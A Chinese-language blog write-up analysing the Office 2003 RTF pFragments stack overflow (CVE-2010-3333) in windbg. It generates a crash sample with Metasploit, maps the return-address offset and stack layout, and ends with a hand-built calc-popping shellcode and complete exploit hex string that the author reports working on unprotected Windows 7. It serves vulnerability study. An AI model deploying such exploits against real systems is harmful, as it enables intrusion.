操作系统:windows 7 home premium x64
漏洞软件:Microsoft Office 2003 SP3简体中文版
工具:windbg
简介:栈溢出漏洞,word中RTF分析器解析pFragments属性值时,没有正确计算(栈空间分配了0x14固定大小,但复制多少数据由计数寄存器ecx控制,而ecx寄存数据又可由rtf文件控制),复制的数据大小超过0x14即可覆盖返回地址,继续覆盖下去还可覆盖到seh结构
利用思路:
1.将返回地址由jmp esp指令地址覆盖,把shellcode放到后面,便可执行(无dep)
Exploit样本类型:rtf文件
分析过程:
前言:
整理下思路,第二个cve看着感觉比较简单,实验流程先把漏洞分析一下,按流程走一遍,在分析下利用的样本。然后自己写个poc
一、分析可触发崩溃poc样本
①使用msf生成一个可触发崩溃poc样本用于调试。
Search cve-2010-3333
use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof
Set target 6 #触发崩溃
Exploit #样本文件生成
打开word2007,用windbg附加程序。F5继续运行,打开样本msf.rtf
可以看到中断的模块和位置
②经过一番分析,发现该地址并非溢出点,看其汇编就能得出该结论
揣测是word版本的问题,用ida看下mso.dll,静态分析漏洞点,哈哈哈哈尴尬,眼花缭乱。
查看mso.dll版本,猜测可能是版本问题,重新安装
③换成2003版本,有了预期的崩溃
④重新加载,bp 0x30e9eb88对崩溃点进行断点,成功中断后用kb命令进行栈回溯,可以看到函数调用链,第一列是栈帧基地址,第二列返回地址,中间三列为前三个参数,第四列是函数名/执行位置(符号?)
分析第一行应该是在断点处的函数(崩溃的函数),第二行是调用第一行函数(崩溃函数)的函数,命令
ub MSO!Ordinal16426+0x64d以及u MSO!Ordinal1753+0x306e等命令查看该位置前后的汇编代码
⑤划横线处是调用崩溃函数的汇编代码,使用u 30f4cc5d查看函数汇编代码,很明显看到栈申请代码
重新加载后在该处断点,单步调试分析漏洞
⑥先来看看样本文件
0xc8ac是复制的字节数,后面是填充数据,用windbg单步调试分析
⑦
开辟0x14字节大小的栈空间
[ecx]=0xc8ac与样本文件中数值吻合
由于单位是双字,将[ecx]/4
接下来要从[esi]位置复制[ecx]个双字(4[ecx]字节)到es:[edi]
二、同样思路分析下另一个样本
①先来看看样本文件,依旧是0xc8ac字节,直觉告诉我,这个样本有问题,不能成功
断点后单步调试
可以看到[esi]放着的正是字节大小后的数据,接下来这边0xc8ac字节的数据会被复制到[edi]
②查看[edi]与[ebp]距离大小,加上ebp本身所占的字节,返回地址距离[edi]为:[edi]-[ebp]+4=20字节
那么0x49030e56是要跳转的地址,查看该处汇编
???小朋友你是否有很多的问号???,返回地址是个无效地址,果然有问题,自己写个
③打算自己写个弹计算器的利用样本,查看漏洞点后续代码
注意到返回时还要多弹0x0c个字节的栈位
然后分析前面几行代码,4[ecx]字节数据复制完了以后,[ecx]变为初始大小,然后与0x11按位与(保留最后两位),再次复制,其实就是怕原数除以4以后有余数,这边把余数也复制扔掉了,这边把余下的数也复制完。之前用双字复制而不是字节复制猜想可能是为了提高效率。
然后看下整个功能函数的代码
忽略中间花里胡哨的退栈压栈,可以看到整个函数返回处汇编,我们可控制的栈区部分返回地址需要修改掉,然后还要add esp,0x14,那么整个exploit以及堆栈结构为:
堆栈结构
pad |
<----ebp-16 |
pad |
<----ebp-12 |
pad |
<----ebp-8 |
pad |
<----ebp-4 |
原函数ebp |
<----新函数ebp |
retaddr |
jmp esp地址 |
pad |
<---esp |
pad |
<---esp+4 |
pad |
<---esp+8 |
pad |
<---esp+12 |
pad |
<---esp+16 |
shellcode |
<---esp+20=new esp |
shellcode |
|
shellcode |
|
exploit结构:
要复制的字节数4 byte |
Pad 20 byte |
Jmp esp 指令地址 |
Pad 20 byte |
shellcode |
④先写个要执行的shellcode
这块打算先自己写个汇编,然后转换成十六进制
借助Kernel32模块的WinExec函数调取calc.exe
WinExec(calc.exe)
xor eax,eax
push eax //eax 取0x00,用于截断字符串,压栈
mov eax,0x6578652e //”.exe”
push eax
mov eax,0x636c6163 // “calc”
push eax
mov eax,esp //esp内存地址
push 5 //参数二,SW_SHOW
push eax//”calc.exe”
mov eax,address //winexec的地址
call eax
先确定下winexec的地址
查看kernel32的导出表,找到地址是0x74e32c21
最后形成的汇编是:
xor eax,eax;push eax;mov eax,0x6578652e;push eax;mov eax,0x636c6163;push eax;mov eax,0x636c6163;push eax;mov eax,esp;push 5;push eax;mov eax,0x74e32c21;call eax
用pwntools将上述汇编代码转化为机器码
最后的payload=31c050b82e65786550b863616c6350b863616c635089e06a0550b8212ce374ffd0
Shellcode长度计算:(20+4+20+33)*2=154
shellcode:9a00+00*20+xxxxxxxx+00*20+payload
现在去找个 jmp esp指令的地址,用插件ollyuni插件搜指令地址,选代码段的地址,最终shellcode:9a0000000000000000000000000000000000000000005b593976000000000000000000000000000000000000000031c050b82e65786550b863616c6350b863616c635089e06a0550b8212ce374ffd0
⑤意料之中,制作的利用文件并没有生效,断点调试,竟然没有dep保护,真的可以执行,但是参数入栈有问题
多了一波压栈
。。。前面复制汇编多复制了两行,修正后shellcode
8e0000000000000000000000000000000000000000005b593976000000000000000000000000000000000000000031c050b82e65786550b863616c635089e06a0550b8212ce374ffd0
成功弹出,下播!睡觉!
这里一直用的是win7默认的设置,没有手动的调,shellcode我放在栈里,也执行了,没有dep的保护,win7默认只给windows程序dep保护?然后就是aslr的问题,无论是漏洞点地址断在同一地址还是jmp esp指令地址硬编码,都可以看出,模块加载的基址并没有 随机化
原文:https://www.cnblogs.com/windsleeve/p/12812322.html